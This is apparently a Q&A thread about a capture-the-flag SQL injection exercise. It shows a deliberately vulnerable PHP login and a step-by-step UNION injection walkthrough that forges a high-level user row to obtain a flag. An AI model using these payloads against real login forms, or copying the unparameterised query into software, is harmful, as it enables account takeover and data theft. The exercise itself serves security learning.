Search code examples
phpmysqlsql-injection

mysql injection to get one row


I am new to SQL injections and trying to learn how to write a query in to the input box that will return a row. Following website has the input filed Username: and Password: This website has the following PHP code:

<?php
include "config.php";
$con = mysqli_connect("localhost", "sql2", "sql2", "sql2");
$username = $_POST["username"];
$password = $_POST["password"];
$debug = $_POST["debug"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
echo "MYSQL Injection Tutorial:<br><br>";

if (intval($debug)) {
  echo "<pre>";
  echo "username: ", htmlspecialchars($username), "\n";
  echo "password: ", htmlspecialchars($password), "\n";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  if (mysqli_errno($con) !== 0) {
    echo "SQL error: ", htmlspecialchars(mysqli_error($con)), "\n";
  }
  echo "</pre>";
}

$logged_in = false;
if (mysqli_num_rows($result) === 1) {
  $row = mysqli_fetch_array($result);
  if ($row["password"] === $password) {
    $logged_in = true;
    echo "<h1>Logged in!</h1>";
    echo "<pre>User level: ", $row["user_level"],  "</pre>";
    if ($row["user_level"] >= 50) {
      echo "<p>you have found a high level user</p>";
    } else {
      echo "<p>you didn't find a user that has a high level.</p>";
    }
  }
}

if (!$logged_in) {
  echo "<h1>Login failed. Try Again</h1>";
}
?>

If you have any ideas, please show me with an example


Solution

  • Given the SQL construct used in the code, i.e:

    SELECT * FROM users WHERE username='$username'
    

    That does appear to have SQL Injection vulnerability. To successfully exploit this, we'd likely need to hammer several attempts at the page.

    Since we can't modify the constant part of that string, we'd aiming at getting the SQL text to be something like this:

    SELECT * 
      FROM users
     WHERE username = '' AND 1=0
    UNION ALL
    SELECT '','','','secret' AS password, '51' AS user_level, ''
    

    Obviously, we'd have to successfully guess the number of columns in users, and guess the positions of the "password" and "user_level" columns. We could try putting the password and in at several points...

    On the text entry form, for username, we'd enter something like:

    ' AND 1=0 UNION ALL SELECT 'secret','secret','secret','secret','51','51','51',51
    

    For password, we'd enter: secret

    We could hammer on it with different number of columns and different positions for password and user_level.

    With enough attempts, we could get a row returned by the query. If we had knowledge of the number of columns and the position of the password and user_level columns, we'd be way ahead of the game.

    If we can enable that debug, and get the website to display the SQL error, that will also make it easier for us. Once we hit a form that doesn't return a SQL error, we know we've got the number of columns guessed right. We don't have to guess the column names correctly, since a UNION/UNION ALL query gets the column names from the first query.


    Note that our attempts would be entirely thwarted if the app was using a prepared statement with a bind variable. (We'd need to exploit a vulnerability in the prepared statement/bind placeholder in order to get our data injected into the SQL text.)


    Followup

    If we fiddle with the post values before they are sent, we can set that "hidden" debug value to 1.

    We're going to start with a guess that the table users has at least three columns.

    attempt 1 (try three columns):

    username: ' OR 1=0 UNION ALL SELECT 'a','a','a
    password: a
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','a','a'
    SQL error: The used SELECT statements have a different number of columns
    Login failed.
    

    The login page is leaking information. We now know the query that the page is running, and we know that the users table does not have three columns.

    attempt 2, (try four columns):

    username: ' OR 1=0 UNION ALL SELECT 'b','b','b','b
    password: b
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'b','b','b','b'
    SQL error: The used SELECT statements have a different number of columns
    

    So, it's not four columns either. Let's try five columns.

    attempt 3, (try five columns):

    username: ' OR 1=0 UNION ALL SELECT 'c','c','c','c','c
    password: cb
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'c','c','c','c','c'
    Logged in!
    User level: c
    Only user levels 1337 or above can see the flag.
    

    So, we know know that the users table has five columns. Now we just need to figure out which of those columns is the password column.

    attempt 4 (password as fifth column):

    username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
    password: e
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
    Login failed.
    

    So, password is not the fifth column. Let's try the fourth column:

    attempt 5 (password as fourth column):

    username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
    password: d
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
    Login failed.
    

    So, we know password is not the fourth column. Let's try the third column.

    attempt 6 (password as the third column):

    username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
    password: c
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
    Logged in!
    User level: e
    Only user levels 1337 or above can see the flag.
    

    So now we've determined that the password is the third column in the users table. The page is leaking more information to us. It looks like the fifth column is the user level (the output we got back tells us the user level is the value we supplied for the fifth column. So let's try specifying 1337 as the value of the fifth column.

    attempt 7 (password as third column, fifth column as user level = 1337):

    username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337
    password: c
    SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337'
    Logged in!
    User level: 1337
    Your flag is: flag_nJZAKGWYt7YfzmTsCV
    

    So, we've demonstrated exploit of SQL Injection vulnerability, in just seven tries.